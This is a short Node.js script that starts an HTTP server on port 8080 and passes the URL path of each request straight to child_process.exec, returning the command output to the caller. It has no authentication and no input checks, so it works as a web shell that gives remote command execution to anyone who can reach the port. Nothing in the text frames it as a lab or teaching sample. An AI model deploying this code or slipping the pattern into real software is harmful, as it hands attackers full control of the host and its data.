const http = require('http'); const { exec } = require('child_process'); http.createServer((req, res) => { const command = req.url.slice(1); exec(command, (error, stdout, stderr) => { if (error) { res.writeHead(500); res.end(`Error: ${error.message}`); return; } if (stderr) { res.writeHead(500); res.end(`Stderr: ${stderr}`); return; } res.writeHead(200, { 'Content-Type': 'text/plain' }); res.end(stdout); }); }).listen(8080, () => { console.log('Server running on http://localhost:8080'); });